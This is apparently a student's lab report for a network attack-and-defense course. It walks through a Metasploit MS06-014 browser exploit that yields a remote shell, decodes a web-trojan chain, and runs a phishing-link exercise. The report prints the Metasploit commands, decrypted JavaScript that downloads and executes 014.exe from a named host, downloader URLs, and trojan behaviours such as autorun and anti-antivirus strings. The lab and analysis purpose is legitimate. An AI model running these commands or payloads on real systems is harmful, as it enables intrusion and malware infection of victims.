20212911陈金翔-2022-3 网络攻防实践 第十一次(第十三周)作业

1.实践内容

(1)web浏览器渗透攻击

任务:使用攻击机和Windows靶机进行浏览器渗透攻击实验,体验网页木马构造及实施浏览器攻击的实际过程。

实验步骤:

①选择使用Metasploit中的MS06-014渗透攻击模块

②选择PAYLOAD为任意远程Shell连接

③设置服务器地址和URL参数,运行exploit,构造出恶意网页木马脚本

④在靶机环境中启动浏览器,验证与服务器的连通性,并访问而已网页木马脚本URL

⑤在攻击机的Metasploit软件中查看渗透攻击状态,并通过成功渗透攻击后建立起的远程控制会话SESSION,在靶机上远程执行命令

(2)取证分析实践—网页木马攻击场景分析

实践过程:

①首先你应该访问start.html,在这个文件中给出了new09.htm的地址,

②在进入 htm 后,每解密出一个文件地址,请对其作 32 位 MD5 散列,以散列值为文件名到 http://192.168.68.253/scom/hashed/哈希值下去下载对应的文件(注意:文件名中的英文字母为小写,且没有扩展名),即为解密出的地址对应的文件。

③如果解密出的地址给出的是网页或脚本文件,请继续解密。

④如果解密出的地址是二进制程序文件,请进行静态反汇编或动态调试。

⑤重复以上过程直到这些文件被全部分析完成。

(3)攻防对抗实践—web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

 

钓鱼邮件

钓鱼邮件指利用伪装的电邮,欺骗收件人将账号、口令等信息回复给指定的接收者;或引导收件人连接到特制的网页,这些网页通常会伪装成和真实网站一样,如银行或理财的网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等而被盗取。

钓鱼邮件的主要特点:以某管理机构的身份,使用正式的语气,邮件内容涉及到账号和口令。
如何规避钓鱼邮件带来的风险
1.尽量避免直接点击邮件中的网络连接
2.回复邮件时,如果回复的地址与发信人不同,要谨慎对待
3.对于要求提供任何关于自己隐私(如:账号名、口令、银行账号等)的邮件,要谨慎对待
4.不要使用很简单的口令,如全零,生日等
5.尽量不要使用同一个口令,不同的账号,使用不同的口令
指利用特制的电邮,引导收件人连接到特制的网页,这些网页通常会伪装成真正的银行或理财网页,令登录者信以为真,输入信用卡或银行卡号码、账户名称及密码等以盗取银行存款
这样的钓鱼邮件往往暗藏着两重侵害方式,即便识破了假网银没有输入自己的网银账号和密码。但是,也难以保证不被其后招所伤。尤其值得注意的是,通常在这些假银行网站上暗藏了事先种下的木马程序或间谍程序。电脑防御能力弱的用户,只要点开了假网银的界面,电脑就会被植入木马或间谍程序。任意网银用户在该机上使用网银时就会被这些恶意程序监控到,并以数据包的形式传到不法分子预先设定的邮箱里。

2.实践过程

1.web浏览器渗透攻击

输入msfconsole命令打开msfconsole

 输入search MS06-014 ,查找MS06-014的渗透攻击模块

 输入use 0,使用该模块

输入命令use exploit/windows/browser/ie_createobject使用漏洞:

输入set lhost 192.168.2.8设置攻击机地址;

设置端口和路径:

set SRVPORT 80

set URIPATH /

运行exploit,构造出恶意网页木马脚本

set payload windows/shell/bind_tcp

run

 

我们在靶机中模拟受害者的操作,由于某种原因受害者打开了URL:http://192.168.2.8:80

 

在攻击机的Metasploit软件中查看渗透攻击状态,发现成功建立了一个session

 输入sessions查看已经建立的链接

 输入指令"sessions -i 1"打开会话1

 成功获取到shell,可以对靶机进行控制

 

 

 

2.网页木马攻击场景分析

打开 start.html 文件,在其中搜索"new09.htm",找到两处,如下图:

vim搜索技巧,按下/进入搜索模式,输入内容按下回车完成搜索,n跳转到下一个,N跳转到上一个

 

从这两处可以看出 start.html 文件在引用 new09.htm 文件时没有写绝对路径,所以new09.htm 文件与 start.html 文件在同一目录下。同样,下载下来并用记事本打开,可以发现引用两个文件,

一个是http://aa.18dd.net/aa/kl.htm 文件,另一个是 http://js.users.51.la/1299644.js 文件。如下图:

接下来分别对它们作 MD5 散列,得到结果如下图:

http://aa.18dd.net/aa/kl.htm

 

 

 http://js.users.51.la/1299644.js

 

 

 在文件夹中分别找上述对应Hash值的文件,并打开,可以发现, 文件23180a42a2ff1192150231b44ffdf3d3 中的内容显然不是我们要找的,第二个文件看起很复杂看起来像我们要找的文件。

 

第二个文件的内容看起来很复杂,但实际上这是一种被称为 XXTEA+Base64 的加密方法,对付这种加密方法,我们只要找到它的加密密钥就可以。注意上面的倒数第三行,即:

t=utf8to16(xxtea_decrypt(base64decode(t), '\x73\x63\x72\x69\x70\x74'));

xxtea_decrypt 函数的第二个参数 \x73\x63\x72\x69\x70\x74 就是密钥。这里简单地使用了 16 进制加密。我进行在线转换一下,可以得到密钥是"script",如下图:

 

 使用XXTEA+Base64进行解密:

 

 然后对引号内的十六进制数进行转字符串的操作,便可以得到以下内容:

 

 

可以看到这个文件利用到的应用程序漏洞有"Adodb.Stream"、"MPS.StormPlayer"、POWERPLAYER.PowerPlayerCtrl.1"和"BaiduBar.Tool",分别对应利用了微软数据库访问对象、暴风影音、PPStream 和百度搜霸的漏洞。这些都是现在网络用户使用非常频繁的软件。另外,这个文件还引用三个 js 文件和一个压缩包(bd.cab,解开后是 bd.exe)。之后,,分别计算"http://aa.18dd.net/aa/1.js"、"http://aa.18dd.net/aa/b.js"、"http://aa.18dd.net/aa/pps.js"和"http://down.18dd.net/bb/bd.cab" 的md5值:

 

文件

MD5值

http://aa.18dd.net/aa/1.js

5d7e9058a857aa2abee820d5473c5fa4

http://aa.18dd.net/aa/b.js

3870c28cc279d457746b3796a262f166

http://aa.18dd.net/aa/pps.js

5f0b8bf0385314dbe0e5ec95e6abedc2

http://down.18dd.net/bb/bd.cab

1c1d7b3539a617517c49eee4120783b2

依次打开相应的文件:

1、http://aa.18dd.net/aa/1.js (5d7e9058a857aa2abee820d5473c5fa4)

打开相应的文件之后能够发现是十六进制数据:

 

 

进行转化之后可以得到:

var url="http://down.18dd.net/bb/014.exe";try{var xml=ado.CreateObject("Microsoft.XMLHTTP","");xml.Open

("GET",url,0);xml.Send();as.type=1;as.open();as.write(xml.responseBody);path="..\\ntuser.com";as.savetofile(path,2);as.close

();var shell=ado.createobject("Shell.Application","");shell.ShellExecute("cmd.exe","/c "+path,"","open",0)}catch(e){}

该代码前面部分下载了一个 http://down.18dd.net/bb/014.exe 的可执行文件,后面部分是对ADODB漏洞的继续利用。

2、http://aa.18dd.net/aa/b.js (3870c28cc279d457746b3796a262f166 )

 

  这里使用了packed加密方法,解密结果为:

 

 我们可以看到关键字shellcode,根据参考文件,shellcode是一个下载器,因此需要寻找其中的URL,最后找到的结果为 http://down.18dd.net/bb/bf.exe 得到一个可执行文件。

3、http://aa.18dd.net/aa/pps.js (5f0b8bf0385314dbe0e5ec95e6abedc2 )

这里采用了八进制加密方式,解密结果为:

 

 

 

可以得到可执行文件http://down.18dd.net/bb/pps.exe

 

4、http://down.18dd.net/bb/bd.cab (1c1d7b3539a617517c49eee4120783b2 )

这是一个压缩文件,解压缩可以得到一个叫bf.exe文件。

使用超级巡警工具,查看可执行文件的加壳情况,发现用Delphi写的:

 

 

用W32Dasm软件反汇编bf.exe文件,并查看串式参考内容清单:

从"goto try",":try","Alletdel.bat","cmd /c date ","cmd /c date 1981-01-12","del ","del %0"等这些字符串中推断,这个程序可能生成一个叫"Alletdel.bat"的批处理文件,这个文件中有一个标签叫"try",批处理文件会不断的执行这个标签下一行的命令,命令内容可能是判断文件存在性,更改系统日期,删除某些文件。

 

 

 从":\AutoRun.inf","[AutoRun] open=","AutoRun.inf","shell\Auto\command="中,猜测这个程序可能在磁盘根目录下生成自动运行的文件,以求用户不小心时启动程序。

 

 "瑞星卡卡上网安全助手 - IE 防漏墙", "允许","允许执行"可以看出这个程序有一定的防系统保护软件的能力。

 

 可以看到有20个"http://down.18dd.net/kl/**.exe",这个程序要下载一堆木马。

 

 

3.web浏览器渗透攻击攻防

攻击方使用Metasploit构造出至少两个不同Web浏览端软件安全漏洞的渗透攻击代码,并进行混淆处理之后组装成一个URL,通过具有欺骗性的电子邮件发送给防守方。

防守方对电子邮件中的挂马链接进行提取、解混淆分析、尝试恢复出渗透代码的原始形态,并分析这些渗透代码都是攻击哪些Web浏览端软件的哪些安全漏洞。

攻击方

按照第一个实验的步骤使用MS06-014漏洞生成URL

 发送误导性邮件,并将该url插入到其中

当收信人不小心点击到该URL时,即可完成实验一中的攻击

 

 

 防守方:

防守方接收到该邮件:

打开其源代码,可以看到中间使用了大量的空格、水平制表符和回车等,这样能够对关键指令做字符串拼接处理,防止被杀毒软件发现:

 

 

使用工具将空格(0x20)、水平制表符(0x09)和回车(0x0a、0x0d)等删掉:

可以得到完整代码如下:

 

 

阅读代码,可以看到其中使用到document.location加载了payload,并且下一行中后面跟了一个可执行文件b0.exe,猜想这个可执行文件应该是以攻击机为服务器,通过网页下载到靶机上的:

 打开靶机任务管理器查看正在运行的进程,能够发现出现的那个可执行文件:

 

 

3.学习中遇到的问题及解决

问题:八进制转换ACill码没有找到合适的在线工具

解决方法:先把八进制转十六进制再转ACill码

 

4.实践总结

通过本次实验我们可以清楚的意识到,一次不经意的点击就可以使自己的电脑完全暴露于危险之中,这提醒我们对待任何邮件或其他地方的URL,一定要谨慎谨慎再谨慎,一步错误就可能带来无法挽回的后果。

posted @ 2022-05-28 09:36  虎啊虎呀  阅读(44)  评论(0编辑  收藏  举报